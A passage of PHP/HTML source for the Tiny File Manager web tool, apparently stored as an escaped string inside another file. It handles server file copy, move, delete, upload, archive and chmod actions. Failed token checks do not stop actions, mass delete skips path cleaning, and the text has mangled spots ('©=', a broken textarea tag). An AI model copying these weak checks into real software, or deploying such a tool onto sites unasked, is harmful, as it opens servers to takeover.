fm_set_msg(sprintf(\'Error while copying from <b>%s</b> to <b>%s</b>\', fm_enc($copy), fm_enc($fn_duplicate)), \'error\');
}
}
else{
fm_set_msg(lng(\'Paths must be not equal\'), \'alert\');
}
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
}
// Mass copy files/ folders
if (isset($_POST[\'file\'], $_POST[\'copy_to\'], $_POST[\'finish\'], $_POST[\'token\']) && !FM_READONLY) {
if(!verifyToken($_POST[\'token\'])) {
fm_set_msg(lng(\'Invalid Token.\'), \'error\');
}
// from
$path = FM_ROOT_PATH;
if (FM_PATH != \'\') {
$path .= \'/\' . FM_PATH;
}
// to
$copy_to_path = FM_ROOT_PATH;
$copy_to = fm_clean_path($_POST[\'copy_to\']);
if ($copy_to != \'\') {
$copy_to_path .= \'/\' . $copy_to;
}
if ($path == $copy_to_path) {
fm_set_msg(lng(\'Paths must be not equal\'), \'alert\');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
}
if (!is_dir($copy_to_path)) {
if (!fm_mkdir($copy_to_path, true)) {
fm_set_msg(\'Unable to create destination folder\', \'error\');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
}
}
// move?
$move = isset($_POST[\'move\']);
// copy/move
$errors = 0;
$files = $_POST[\'file\'];
if (is_array($files) && count($files)) {
foreach ($files as $f) {
if ($f != \'\') {
$f = fm_clean_path($f);
// abs path from
$from = $path . \'/\' . $f;
// abs path to
$dest = $copy_to_path . \'/\' . $f;
// do
if ($move) {
$rename = fm_rename($from, $dest);
if ($rename === false) {
$errors++;
}
} else {
if (!fm_rcopy($from, $dest)) {
$errors++;
}
}
}
}
if ($errors == 0) {
$msg = $move ? \'Selected files and folders moved\' : \'Selected files and folders copied\';
fm_set_msg($msg);
} else {
$msg = $move ? \'Error while moving items\' : \'Error while copying items\';
fm_set_msg($msg, \'error\');
}
} else {
fm_set_msg(lng(\'Nothing selected\'), \'alert\');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
}
// Rename
if (isset($_POST[\'rename_from\'], $_POST[\'rename_to\'], $_POST[\'token\']) && !FM_READONLY) {
if(!verifyToken($_POST[\'token\'])) {
fm_set_msg("Invalid Token.", \'error\');
}
// old name
$old = urldecode($_POST[\'rename_from\']);
$old = fm_clean_path($old);
$old = str_replace(\'/\', \'\', $old);
// new name
$new = urldecode($_POST[\'rename_to\']);
$new = fm_clean_path(strip_tags($new));
$new = str_replace(\'/\', \'\', $new);
// path
$path = FM_ROOT_PATH;
if (FM_PATH != \'\') {
$path .= \'/\' . FM_PATH;
}
// rename
if (fm_isvalid_filename($new) && $old != \'\' && $new != \'\') {
if (fm_rename($path . \'/\' . $old, $path . \'/\' . $new)) {
fm_set_msg(sprintf(lng(\'Renamed from\').\' <b>%s</b> \'. lng(\'to\').\' <b>%s</b>\', fm_enc($old), fm_enc($new)));
} else {
fm_set_msg(sprintf(lng(\'Error while renaming from\').\' <b>%s</b> \'. lng(\'to\').\' <b>%s</b>\', fm_enc($old), fm_enc($new)), \'error\');
}
} else {
fm_set_msg(lng(\'Invalid characters in file name\'), \'error\');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
}
// Download
if (isset($_GET[\'dl\'], $_POST[\'token\'])) {
if(!verifyToken($_POST[\'token\'])) {
fm_set_msg("Invalid Token.", \'error\');
}
$dl = urldecode($_GET[\'dl\']);
$dl = fm_clean_path($dl);
$dl = str_replace(\'/\', \'\', $dl);
$path = FM_ROOT_PATH;
if (FM_PATH != \'\') {
$path .= \'/\' . FM_PATH;
}
if ($dl != \'\' && is_file($path . \'/\' . $dl)) {
fm_download_file($path . \'/\' . $dl, $dl, 1024);
exit;
} else {
fm_set_msg(lng(\'File not found\'), \'error\');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
}
}
// Upload
if (!empty($_FILES) && !FM_READONLY) {
if(isset($_POST[\'token\'])) {
if(!verifyToken($_POST[\'token\'])) {
$response = array (\'status\' => \'error\',\'info\' => "Invalid Token.");
echo json_encode($response); exit();
}
} else {
$response = array (\'status\' => \'error\',\'info\' => "Token Missing.");
echo json_encode($response); exit();
}
$chunkIndex = $_POST[\'dzchunkindex\'];
$chunkTotal = $_POST[\'dztotalchunkcount\'];
$fullPathInput = fm_clean_path($_REQUEST[\'fullpath\']);
$f = $_FILES;
$path = FM_ROOT_PATH;
$ds = DIRECTORY_SEPARATOR;
if (FM_PATH != \'\') {
$path .= \'/\' . FM_PATH;
}
$errors = 0;
$uploads = 0;
$allowed = (FM_UPLOAD_EXTENSION) ? explode(\',\', FM_UPLOAD_EXTENSION) : false;
$response = array (
\'status\' => \'error\',
\'info\' => \'Oops! Try again\'
);
$filename = $f[\'file\'][\'name\'];
$tmp_name = $f[\'file\'][\'tmp_name\'];
$ext = pathinfo($filename, PATHINFO_FILENAME) != \'\' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : \'\';
$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
if(!fm_isvalid_filename($filename) && !fm_isvalid_filename($fullPathInput)) {
$response = array (
\'status\' => \'error\',
\'info\' => "Invalid File name!",
);
echo json_encode($response); exit();
}
$targetPath = $path . $ds;
if ( is_writable($targetPath) ) {
$fullPath = $path . \'/\' . $fullPathInput;
$folder = substr($fullPath, 0, strrpos($fullPath, "/"));
if (!is_dir($folder)) {
$old = umask(0);
mkdir($folder, 0777, true);
umask($old);
}
if (empty($f[\'file\'][\'error\']) && !empty($tmp_name) && $tmp_name != \'none\' && $isFileAllowed) {
if ($chunkTotal){
$out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab");
if ($out) {
$in = @fopen($tmp_name, "rb");
if ($in) {
if (PHP_VERSION_ID < 80009) {
// workaround https://bugs.php.net/bug.php?id=81145
do {
for (;;) {
$buff = fread($in, 4096);
if ($buff === false || $buff === \'\') {
break;
}
fwrite($out, $buff);
}
} while (!feof($in));
} else {
stream_copy_to_stream($in, $out);
}
$response = array (
\'status\' => \'success\',
\'info\' => "file upload successful"
);
} else {
$response = array (
\'status\' => \'error\',
\'info\' => "failed to open output stream",
\'errorDetails\' => error_get_last()
);
}
@fclose($in);
@fclose($out);
@unlink($tmp_name);
$response = array (
\'status\' => \'success\',
\'info\' => "file upload successful"
);
} else {
$response = array (
\'status\' => \'error\',
\'info\' => "failed to open output stream"
);
}
if ($chunkIndex == $chunkTotal - 1) {
if (file_exists ($fullPath)) {
$ext_1 = $ext ? \'.\'.$ext : \'\';
$fullPathTarget = $path . \'/\' . basename($fullPathInput, $ext_1) .\'_\'. date(\'ymdHis\'). $ext_1;
} else {
$fullPathTarget = $fullPath;
}
rename("{$fullPath}.part", $fullPathTarget);
}
} else if (move_uploaded_file($tmp_name, $fullPath)) {
// Be sure that the file has been uploaded
if ( file_exists($fullPath) ) {
$response = array (
\'status\' => \'success\',
\'info\' => "file upload successful"
);
} else {
$response = array (
\'status\' => \'error\',
\'info\' => \'Couldn\'t upload the requested file.\'
);
}
} else {
$response = array (
\'status\' => \'error\',
\'info\' => "Error while uploading files. Uploaded files $uploads",
);
}
}
} else {
$response = array (
\'status\' => \'error\',
\'info\' => \'The specified folder for upload isn\'t writeable.\'
);
}
// Return the response
echo json_encode($response);
exit();
}
// Mass deleting
if (isset($_POST[\'group\'], $_POST[\'delete\'], $_POST[\'token\']) && !FM_READONLY) {
if(!verifyToken($_POST[\'token\'])) {
fm_set_msg(lng("Invalid Token."), \'error\');
}
$path = FM_ROOT_PATH;
if (FM_PATH != \'\') {
$path .= \'/\' . FM_PATH;
}
$errors = 0;
$files = $_POST[\'file\'];
if (is_array($files) && count($files)) {
foreach ($files as $f) {
if ($f != \'\') {
$new_path = $path . \'/\' . $f;
if (!fm_rdelete($new_path)) {
$errors++;
}
}
}
if ($errors == 0) {
fm_set_msg(lng(\'Selected files and folder deleted\'));
} else {
fm_set_msg(lng(\'Error while deleting items\'), \'error\');
}
} else {
fm_set_msg(lng(\'Nothing selected\'), \'alert\');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
}
// Pack files zip, tar
if (isset($_POST[\'group\'], $_POST[\'token\']) && (isset($_POST[\'zip\']) || isset($_POST[\'tar\'])) && !FM_READONLY) {
if(!verifyToken($_POST[\'token\'])) {
fm_set_msg(lng("Invalid Token."), \'error\');
}
$path = FM_ROOT_PATH;
$ext = \'zip\';
if (FM_PATH != \'\') {
$path .= \'/\' . FM_PATH;
}
//set pack type
$ext = isset($_POST[\'tar\']) ? \'tar\' : \'zip\';
if (($ext == "zip" && !class_exists(\'ZipArchive\')) || ($ext == "tar" && !class_exists(\'PharData\'))) {
fm_set_msg(lng(\'Operations with archives are not available\'), \'error\');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
}
$files = $_POST[\'file\'];
$sanitized_files = array();
// clean path
foreach($files as $file){
array_push($sanitized_files, fm_clean_path($file));
}
$files = $sanitized_files;
if (!empty($files)) {
chdir($path);
if (count($files) == 1) {
$one_file = reset($files);
$one_file = basename($one_file);
$zipname = $one_file . \'_\' . date(\'ymd_His\') . \'.\'.$ext;
} else {
$zipname = \'archive_\' . date(\'ymd_His\') . \'.\'.$ext;
}
if($ext == \'zip\') {
$zipper = new FM_Zipper();
$res = $zipper->create($zipname, $files);
} elseif ($ext == \'tar\') {
$tar = new FM_Zipper_Tar();
$res = $tar->create($zipname, $files);
}
if ($res) {
fm_set_msg(sprintf(lng(\'Archive\').\' <b>%s</b> \'.lng(\'Created\'), fm_enc($zipname)));
} else {
fm_set_msg(lng(\'Archive not created\'), \'error\');
}
} else {
fm_set_msg(lng(\'Nothing selected\'), \'alert\');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
}
// Unpack zip, tar
if (isset($_POST[\'unzip\'], $_POST[\'token\']) && !FM_READONLY) {
if(!verifyToken($_POST[\'token\'])) {
fm_set_msg(lng("Invalid Token."), \'error\');
}
$unzip = urldecode($_POST[\'unzip\']);
$unzip = fm_clean_path($unzip);
$unzip = str_replace(\'/\', \'\', $unzip);
$isValid = false;
$path = FM_ROOT_PATH;
if (FM_PATH != \'\') {
$path .= \'/\' . FM_PATH;
}
if ($unzip != \'\' && is_file($path . \'/\' . $unzip)) {
$zip_path = $path . \'/\' . $unzip;
$ext = pathinfo($zip_path, PATHINFO_EXTENSION);
$isValid = true;
} else {
fm_set_msg(lng(\'File not found\'), \'error\');
}
if (($ext == "zip" && !class_exists(\'ZipArchive\')) || ($ext == "tar" && !class_exists(\'PharData\'))) {
fm_set_msg(lng(\'Operations with archives are not available\'), \'error\');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
}
if ($isValid) {
//to folder
$tofolder = \'\';
if (isset($_POST[\'tofolder\'])) {
$tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
if (fm_mkdir($path . \'/\' . $tofolder, true)) {
$path .= \'/\' . $tofolder;
}
}
if($ext == "zip") {
$zipper = new FM_Zipper();
$res = $zipper->unzip($zip_path, $path);
} elseif ($ext == "tar") {
try {
$gzipper = new PharData($zip_path);
if (@$gzipper->extractTo($path,null, true)) {
$res = true;
} else {
$res = false;
}
} catch (Exception $e) {
//TODO:: need to handle the error
$res = true;
}
}
if ($res) {
fm_set_msg(lng(\'Archive unpacked\'));
} else {
fm_set_msg(lng(\'Archive not unpacked\'), \'error\');
}
} else {
fm_set_msg(lng(\'File not found\'), \'error\');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
}
// Change Perms (not for Windows)
if (isset($_POST[\'chmod\'], $_POST[\'token\']) && !FM_READONLY && !FM_IS_WIN) {
if(!verifyToken($_POST[\'token\'])) {
fm_set_msg(lng("Invalid Token."), \'error\');
}
$path = FM_ROOT_PATH;
if (FM_PATH != \'\') {
$path .= \'/\' . FM_PATH;
}
$file = $_POST[\'chmod\'];
$file = fm_clean_path($file);
$file = str_replace(\'/\', \'\', $file);
if ($file == \'\' || (!is_file($path . \'/\' . $file) && !is_dir($path . \'/\' . $file))) {
fm_set_msg(lng(\'File not found\'), \'error\');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
}
$mode = 0;
if (!empty($_POST[\'ur\'])) {
$mode |= 0400;
}
if (!empty($_POST[\'uw\'])) {
$mode |= 0200;
}
if (!empty($_POST[\'ux\'])) {
$mode |= 0100;
}
if (!empty($_POST[\'gr\'])) {
$mode |= 0040;
}
if (!empty($_POST[\'gw\'])) {
$mode |= 0020;
}
if (!empty($_POST[\'gx\'])) {
$mode |= 0010;
}
if (!empty($_POST[\'or\'])) {
$mode |= 0004;
}
if (!empty($_POST[\'ow\'])) {
$mode |= 0002;
}
if (!empty($_POST[\'ox\'])) {
$mode |= 0001;
}
if (@chmod($path . \'/\' . $file, $mode)) {
fm_set_msg(lng(\'Permissions changed\'));
} else {
fm_set_msg(lng(\'Permissions not changed\'), \'error\');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
}
/*************************** ACTIONS ***************************/
// get current path
$path = FM_ROOT_PATH;
if (FM_PATH != \'\') {
$path .= \'/\' . FM_PATH;
}
// check path
if (!is_dir($path)) {
fm_redirect(FM_SELF_URL . \'?p=\');
}
// get parent folder
$parent = fm_get_parent_path(FM_PATH);
$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
$current_path = array_slice(explode("/",$path), -1)[0];
if (is_array($objects) && fm_is_exclude_items($current_path)) {
foreach ($objects as $file) {
if ($file == \'.\' || $file == \'..\') {
continue;
}
if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === \'.\') {
continue;
}
$new_path = $path . \'/\' . $file;
if (@is_file($new_path) && fm_is_exclude_items($file)) {
$files[] = $file;
} elseif (@is_dir($new_path) && $file != \'.\' && $file != \'..\' && fm_is_exclude_items($file)) {
$folders[] = $file;
}
}
}
if (!empty($files)) {
natcasesort($files);
}
if (!empty($folders)) {
natcasesort($folders);
}
// upload form
if (isset($_GET[\'upload\']) && !FM_READONLY) {
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
//get the allowed file extensions
function getUploadExt() {
$extArr = explode(\',\', FM_UPLOAD_EXTENSION);
if(FM_UPLOAD_EXTENSION && $extArr) {
array_walk($extArr, function(&$x) {$x = ".$x";});
return implode(\',\', $extArr);
}
return \'\';
}
?>
<?php print_external(\'css-dropzone\'); ?>
<div class="path">
<div class="card mb-2 fm-upload-wrapper <?php echo fm_get_theme(); ?>">
<div class="card-header">
<ul class="nav nav-tabs card-header-tabs">
<li class="nav-item">
<a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng(\'UploadingFiles\') ?></a>
</li>
<li class="nav-item">
<a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> <?php echo lng(\'Upload from URL\') ?></a>
</li>
</ul>
</div>
<div class="card-body">
<p class="card-text">
<a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng(\'Back\')?></a>
<strong><?php echo lng(\'DestinationFolder\') ?></strong>: <?php echo fm_enc(fm_convert_win(FM_PATH)) ?>
</p>
<form action="<?php echo htmlspecialchars(FM_SELF_URL) . \'?p=\' . fm_enc(FM_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data">
<input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
<input type="hidden" name="fullpath" id="fullpath" value="<?php echo fm_enc(FM_PATH) ?>">
<input type="hidden" name="token" value="<?php echo $_SESSION[\'token\']; ?>">
<div class="fallback">
<input name="file" type="file" multiple/>
</div>
</form>
<div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader">
<form id="js-form-url-upload" class="row row-cols-lg-auto g-3 align-items-center" onsubmit="return upload_from_url(this);" method="POST" action="">
<input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true">
<input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%">
<input type="hidden" name="token" value="<?php echo $_SESSION[\'token\']; ?>">
<button type="submit" class="btn btn-primary ms-3"><?php echo lng(\'Upload\') ?></button>
<div class="lds-facebook"><div></div><div></div><div></div></div>
</form>
<div id="js-url-upload__list" class="col-9 mt-3"></div>
</div>
</div>
</div>
</div>
<?php print_external(\'js-dropzone\'); ?>
<script>
Dropzone.options.fileUploader = {
chunking: true,
chunkSize: <?php echo UPLOAD_CHUNK_SIZE; ?>,
forceChunking: true,
retryChunks: true,
retryChunksLimit: 3,
parallelUploads: 1,
parallelChunkUploads: false,
timeout: 120000,
maxFilesize: "<?php echo MAX_UPLOAD_SIZE; ?>",
acceptedFiles : "<?php echo getUploadExt() ?>",
init: function () {
this.on("sending", function (file, xhr, formData) {
let _path = (file.fullPath) ? file.fullPath : file.name;
document.getElementById("fullpath").value = _path;
xhr.ontimeout = (function() {
toast(\'Error: Server Timeout\');
});
}).on("success", function (res) {
let _response = JSON.parse(res.xhr.response);
if(_response.status == "error") {
toast(_response.info);
}
}).on("error", function(file, response) {
toast(response);
});
}
}
</script>
<?php
fm_show_footer();
exit;
}
// copy form POST
if (isset($_POST[\'copy\']) && !FM_READONLY) {
$copy_files = isset($_POST[\'file\']) ? $_POST[\'file\'] : null;
if (!is_array($copy_files) || empty($copy_files)) {
fm_set_msg(lng(\'Nothing selected\'), \'alert\');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
?>
<div class="path">
<div class="card <?php echo fm_get_theme(); ?>">
<div class="card-header">
<h6><?php echo lng(\'Copying\') ?></h6>
</div>
<div class="card-body">
<form action="" method="post">
<input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
<input type="hidden" name="finish" value="1">
<?php
foreach ($copy_files as $cf) {
echo \'<input type="hidden" name="file[]" value="\' . fm_enc($cf) . \'">\' . PHP_EOL;
}
?>
<p class="break-word"><strong><?php echo lng(\'Files\') ?></strong>: <b><?php echo implode(\'</b>, <b>\', $copy_files) ?></b></p>
<p class="break-word"><strong><?php echo lng(\'SourceFolder\') ?></strong>: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . \'/\' . FM_PATH)) ?><br>
<label for="inp_copy_to"><strong><?php echo lng(\'DestinationFolder\') ?></strong>:</label>
<?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fm_enc(FM_PATH) ?>">
</p>
<p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input"><label for="js-move-files" class="custom-control-label ms-2"> <?php echo lng(\'Move\') ?></label></p>
<p>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-danger"><i class="fa fa-times-circle"></i> <?php echo lng(\'Cancel\') ?></a></b>
<input type="hidden" name="token" value="<?php echo $_SESSION[\'token\']; ?>">
<button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng(\'Copy\') ?></button>
</p>
</form>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
// copy form
if (isset($_GET[\'copy\']) && !isset($_GET[\'finish\']) && !FM_READONLY) {
$copy = $_GET[\'copy\'];
$copy = fm_clean_path($copy);
if ($copy == \'\' || !file_exists(FM_ROOT_PATH . \'/\' . $copy)) {
fm_set_msg(lng(\'File not found\'), \'error\');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
?>
<div class="path">
<p><b>Copying</b></p>
<p class="break-word">
<strong>Source path:</strong> <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . \'/\' . $copy)) ?><br>
<strong>Destination folder:</strong> <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . \'/\' . FM_PATH)) ?>
</p>
<p>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>©=<?php echo urlencode($copy) ?>&finish=1"><i class="fa fa-check-circle"></i> Copy</a></b>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>©=<?php echo urlencode($copy) ?>&finish=1&move=1"><i class="fa fa-check-circle"></i> Move</a></b>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="text-danger"><i class="fa fa-times-circle"></i> Cancel</a></b>
</p>
<p><i><?php echo lng(\'Select folder\') ?></i></p>
<ul class="folders break-word">
<?php
if ($parent !== false) {
?>
<li><a href="?p=<?php echo urlencode($parent) ?>©=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li>
<?php
}
foreach ($folders as $f) {
?>
<li>
<a href="?p=<?php echo urlencode(trim(FM_PATH . \'/\' . $f, \'/\')) ?>©=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a></li>
<?php
}
?>
</ul>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET[\'settings\']) && !FM_READONLY) {
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
global $cfg, $lang, $lang_list;
?>
<div class="col-md-8 offset-md-2 pt-3">
<div class="card mb-2 <?php echo fm_get_theme(); ?>">
<h6 class="card-header d-flex justify-content-between">
<span><i class="fa fa-cog"></i> <?php echo lng(\'Settings\') ?></span>
<a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng(\'Cancel\')?></a>
</h6>
<div class="card-body">
<form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)">
<input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true">
<div class="form-group row">
<label for="js-language" class="col-sm-3 col-form-label"><?php echo lng(\'Language\') ?></label>
<div class="col-sm-5">
<select class="form-select" id="js-language" name="js-language">
<?php
function getSelected($l) {
global $lang;
return ($lang == $l) ? \'selected\' : \'\';
}
foreach ($lang_list as $k => $v) {
echo "<option value=\'$k\' ".getSelected($k).">$v</option>";
}
?>
</select>
</div>
</div>
<div class="mt-3 mb-3 row ">
<label for="js-error-report" class="col-sm-3 col-form-label"><?php echo lng(\'ErrorReporting\') ?></label>
<div class="col-sm-9">
<div class="form-check form-switch">
<input class="form-check-input" type="checkbox" role="switch" id="js-error-report" name="js-error-report" value="true" <?php echo $report_errors ? \'checked\' : \'\'; ?> />
</div>
</div>
</div>
<div class="mb-3 row">
<label for="js-show-hidden" class="col-sm-3 col-form-label"><?php echo lng(\'ShowHiddenFiles\') ?></label>
<div class="col-sm-9">
<div class="form-check form-switch">
<input class="form-check-input" type="checkbox" role="switch" id="js-show-hidden" name="js-show-hidden" value="true" <?php echo $show_hidden_files ? \'checked\' : \'\'; ?> />
</div>
</div>
</div>
<div class="mb-3 row">
<label for="js-hide-cols" class="col-sm-3 col-form-label"><?php echo lng(\'HideColumns\') ?></label>
<div class="col-sm-9">
<div class="form-check form-switch">
<input class="form-check-input" type="checkbox" role="switch" id="js-hide-cols" name="js-hide-cols" value="true" <?php echo $hide_Cols ? \'checked\' : \'\'; ?> />
</div>
</div>
</div>
<div class="mb-3 row">
<label for="js-3-1" class="col-sm-3 col-form-label"><?php echo lng(\'Theme\') ?></label>
<div class="col-sm-5">
<select class="form-select w-100" id="js-3-0" name="js-theme-3">
<option value=\'light\' <?php if($theme == "light"){echo "selected";} ?>><?php echo lng(\'light\') ?></option>
<option value=\'dark\' <?php if($theme == "dark"){echo "selected";} ?>><?php echo lng(\'dark\') ?></option>
</select>
</div>
</div>
<div class="mb-3 row">
<div class="col-sm-10">
<button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng(\'Save\'); ?></button>
</div>
</div>
</form>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET[\'help\'])) {
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
global $cfg, $lang;
?>
<div class="col-md-8 offset-md-2 pt-3">
<div class="card mb-2 <?php echo fm_get_theme(); ?>">
<h6 class="card-header d-flex justify-content-between">
<span><i class="fa fa-exclamation-circle"></i> <?php echo lng(\'Help\') ?></span>
<a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng(\'Cancel\')?></a>
</h6>
<div class="card-body">
<div class="row">
<div class="col-xs-12 col-sm-6">
<p><h3><a href="https://github.com/prasathmani/tinyfilemanager" target="_blank" class="app-v-title"> Tiny File Manager <?php echo VERSION; ?></a></h3></p>
<p>Author: Prasath Mani</p>
<p>Mail Us: <a href="mailto:[email protected]">ccpprogrammers[at]gmail.com</a> </p>
</div>
<div class="col-xs-12 col-sm-6">
<div class="card">
<ul class="list-group list-group-flush">
<li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/wiki" target="_blank"><i class="fa fa-question-circle"></i> <?php echo lng(\'Help Documents\') ?> </a> </li>
<li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/issues" target="_blank"><i class="fa fa-bug"></i> <?php echo lng(\'Report Issue\') ?></a></li>
<?php if(!FM_READONLY) { ?>
<li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng(\'Generate new password hash\') ?></a></li>
<?php } ?>
</ul>
</div>
</div>
</div>
<div class="row js-new-pwd hidden mt-2">
<div class="col-12">
<form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action="">
<input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true">
<div class="form-group mb-2">
<label for="staticEmail2"><?php echo lng(\'Generate new password hash\') ?></label>
</div>
<div class="form-group mx-sm-3 mb-2">
<label for="inputPassword2" class="sr-only"><?php echo lng(\'Password\') ?></label>
<input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="<?php echo lng(\'Password\') ?>" required>
</div>
<button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng(\'Generate\') ?></button>
</form>
<textareapopojicms class="form-control" rows="2" readonly id="js-pwd-result"></textareapopojicms>
</div>
</div>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
// file viewer
if (isset($_GET[\'view\'])) {
$file = $_GET[\'view\'];
$file = fm_clean_path($file, false);
$file = str_replace(\'/\', \'\', $file);
if ($file == \'\' || !is_file($path . \'/\' . $file) || !fm_is_exclude_items($file)) {
fm_set_msg(lng(\'File not found\'), \'error\');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
$file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != \'\' ? \'/\' . FM_PATH : \'\') . \'/\' . $file);
$file_path = $path . \'/\' . $file;
$ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
$mime_type = fm_get_mime_type($file_path);
$filesize_raw = fm_get_size($file_path);
$filesize = fm_get_filesize($filesize_raw);
$is_zip = false;
$is_gzip = false;
$is_image = false;
$is_audio = false;
$is_video = false;
$is_text = false;
$is_onlineViewer = false;
$view_title = \'File\';
$filenames = false; // for zip
$content = \'\'; // for text
$online_viewer = strtolower(FM_DOC_VIEWER);
if($online_viewer && $online_viewer !== \'false\' && in_array($ext, fm_get_onlineViewer_exts())){
$is_onlineViewer = true;
}
elseif ($ext == \'zip\' || $ext == \'tar\') {
$is_zip = true;
$view_title = \'Archive\';
$filenames = fm_get_zif_info($file_path, $ext);
} elseif (in_array($ext, fm_get_image_exts())) {
$is_image = true;
$view_title = \'Image\';
} elseif (in_array($ext, fm_get_audio_exts())) {
$is_audio = true;
$view_title = \'Audio\';
} elseif (in_array($ext, fm_get_video_exts())) {
$is_video = true;
$view_title = \'Video\';
} elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == \'text\' || in_array($mime_type, fm_get_text_mimes())) {
$is_text = true;
$content = file_get_contents($file_path);
}
?>
<div class="row">
<div class="col-12">
<p class="break-word"><b><?php echo lng($view_title) ?> "<?php echo fm_enc(fm_convert_win($file)) ?>"</b></p>
<p class="break-word">
<?php $display_path = fm_get_display_path($file_path); ?>
<strong><?php echo $display_path[\'label\']; ?>:</strong> <?php echo $display_path[\'path\']; ?><br>
<strong>File size:</strong> <?php echo ($filesize_raw <= 1000) ? "$filesize_raw bytes" : $filesize; ?><br>
<strong>MIME-type:</strong> <?php echo $mime_type ?><br>
<?php
// ZIP info
if (($is_zip || $is_gzip) && $filenames !== false) {
$total_files = 0;
$total_comp = 0;
$total_uncomp = 0;
foreach ($filenames as $fn) {
if (!$fn[\'folder\']) {
$total_files++;
}
$total_comp += $fn[\'compressed_size\'];
$total_uncomp += $fn[\'filesize\'];
}
?>
<?php echo lng(\'Files in archive\') ?>: <?php echo $total_files ?><br>
<?php echo lng(\'Total size\') ?>: <?php echo fm_get_filesize($total_uncomp) ?><br>
<?php echo lng(\'Size in archive\') ?>: <?php echo fm_get_filesize($total_comp) ?><br>
<?php echo lng(\'Compression\') ?>: <?php echo round(($total_comp / max($total_uncomp, 1)) * 100) ?>%<br>
<?php
}
// Image info
if ($is_image) {
$image_size = getimagesize($file_path);
